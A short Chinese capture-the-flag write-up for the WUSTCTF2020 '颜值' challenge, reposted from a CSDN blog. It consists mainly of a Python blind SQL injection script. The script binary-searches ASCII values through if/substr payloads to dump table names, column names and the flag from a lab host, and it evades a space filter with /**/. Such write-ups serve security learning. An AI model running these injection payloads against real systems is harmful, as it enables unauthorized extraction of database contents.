标签:head WUSTCTF2020 颜值 mid 查询 substr tail result payload
知识点:整数型注入 盲注
import requests
url = "http://364ccd4d-2a09-471c-ba97-460b37d0fbae.node3.buuoj.cn/?stunum="
result = ""
i = 0
while(True):
i = i + 1
head = 32
tail = 127
while( head < tail):
mid = (head + tail) >> 1
#爆表
#payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i, mid)
#爆列名
#payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)
#爆出flag
payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)
r = requests.get(url + payload)
r.encoding = "utf-8"
if "your score is: 100" in r.text:
head = mid + 1
else:
tail = mid
last = result
if head!=32 :
result+=chr(head)
else:
break
print(result)
要注意过滤了空格。
标签:head,WUSTCTF2020,颜值,mid,查询,substr,tail,result,payload 来源: https://blog.csdn.net/qq_25500649/article/details/118358062
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。